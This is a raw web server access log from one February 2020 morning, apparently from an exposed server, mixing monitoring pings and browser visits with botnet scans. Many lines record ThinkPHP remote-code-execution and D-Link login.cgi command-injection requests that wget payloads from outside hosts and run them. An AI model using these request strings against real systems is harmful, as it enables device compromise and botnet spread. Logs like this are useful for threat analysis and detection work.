1.54.146.153 - - [03/Feb/2020:06:13:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
27.216.245.215 - - [03/Feb/2020:06:15:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
42.112.198.28 - - [03/Feb/2020:06:16:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.51.28.234 - - [03/Feb/2020:06:21:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.121.12.33 - - [03/Feb/2020:06:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
159.203.2.252 - - [03/Feb/2020:06:32:56 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "-"
1.52.156.181 - - [03/Feb/2020:06:42:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.82.83 - - [03/Feb/2020:06:49:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.171.218 - - [03/Feb/2020:06:52:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
167.179.13.206 - - [03/Feb/2020:06:52:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
80.26.154.92 - - [03/Feb/2020:06:53:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
149.12.217.235 - - [03/Feb/2020:06:53:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.69.26.141 - - [03/Feb/2020:06:53:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.0.25 - - [03/Feb/2020:06:56:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.229.231.193 - - [03/Feb/2020:06:56:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.112.198.28 - - [03/Feb/2020:06:59:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:07:00:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.196.177.68 - - [03/Feb/2020:07:01:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:07:01:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.49.36.202 - - [03/Feb/2020:07:01:32 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
138.219.45.125 - - [03/Feb/2020:07:01:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
182.167.238.237 - - [03/Feb/2020:07:01:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:07:02:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.190.66.205 - - [03/Feb/2020:07:02:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [03/Feb/2020:07:03:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:04:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:05:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:06:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:07:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:08:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:09:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:10:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
102.182.236.208 - - [03/Feb/2020:07:11:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [03/Feb/2020:07:11:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.146.76 - - [03/Feb/2020:07:12:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:07:12:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:13:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:14:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [03/Feb/2020:07:14:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
139.162.106.181 - - [03/Feb/2020:07:15:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [03/Feb/2020:07:15:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:16:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:17:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:18:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.117.198.174 - - [03/Feb/2020:07:19:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:07:19:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:20:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
206.132.225.98 - - [03/Feb/2020:07:20:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:07:21:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:22:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:23:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.251.232 - - [03/Feb/2020:07:24:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:07:24:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.189.93.188 - - [03/Feb/2020:07:24:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:07:25:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:26:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:27:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.206 - - [03/Feb/2020:07:28:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:07:28:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
43.249.232.93 - - [03/Feb/2020:07:29:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:07:29:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:30:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:31:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:32:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:33:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:34:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.125.44.233 - - [03/Feb/2020:07:35:05 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [03/Feb/2020:07:35:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.106.17 - - [03/Feb/2020:07:35:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:07:36:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:37:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.118.121.248 - - [03/Feb/2020:07:37:51 +0100] "GET / HTTP/1.1" 200 1229 "https://virtual-zaim.ru/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
46.118.121.248 - - [03/Feb/2020:07:37:52 +0100] "GET / HTTP/1.1" 200 1229 "https://virtual-zaim.ru/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
46.118.121.248 - - [03/Feb/2020:07:37:52 +0100] "GET / HTTP/1.1" 200 1229 "https://virtual-zaim.ru/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
212.91.246.72 - - [03/Feb/2020:07:38:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.202.142 - - [03/Feb/2020:07:38:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:07:39:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.102.132 - - [03/Feb/2020:07:40:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:07:40:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:41:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.110.25 - - [03/Feb/2020:07:42:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:07:42:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:43:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [03/Feb/2020:07:44:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [03/Feb/2020:07:44:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:45:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.170.254 - - [03/Feb/2020:07:45:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
149.12.217.235 - - [03/Feb/2020:07:45:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
202.129.20.24 - - [03/Feb/2020:07:46:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:07:46:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:47:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:48:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:49:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:50:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:51:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:52:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.0.220 - - [03/Feb/2020:07:52:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:07:53:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:54:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:55:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.179.123 - - [03/Feb/2020:07:55:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:07:56:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.100.12.210 - - [03/Feb/2020:07:56:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
77.31.254.47 - - [03/Feb/2020:07:56:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:07:57:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.218.250.158 - - [03/Feb/2020:07:57:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:07:58:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:07:59:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.51.37 - - [03/Feb/2020:07:59:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:08:00:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:01:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.56.213 - - [03/Feb/2020:08:02:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:08:02:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.185.95.42 - - [03/Feb/2020:08:02:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:08:03:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.141.50 - - [03/Feb/2020:08:04:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:08:04:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:05:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:06:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:07:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.88.191 - - [03/Feb/2020:08:08:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:08:08:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:09:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:10:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:08:11:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.169.44 - - [03/Feb/2020:08:11:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
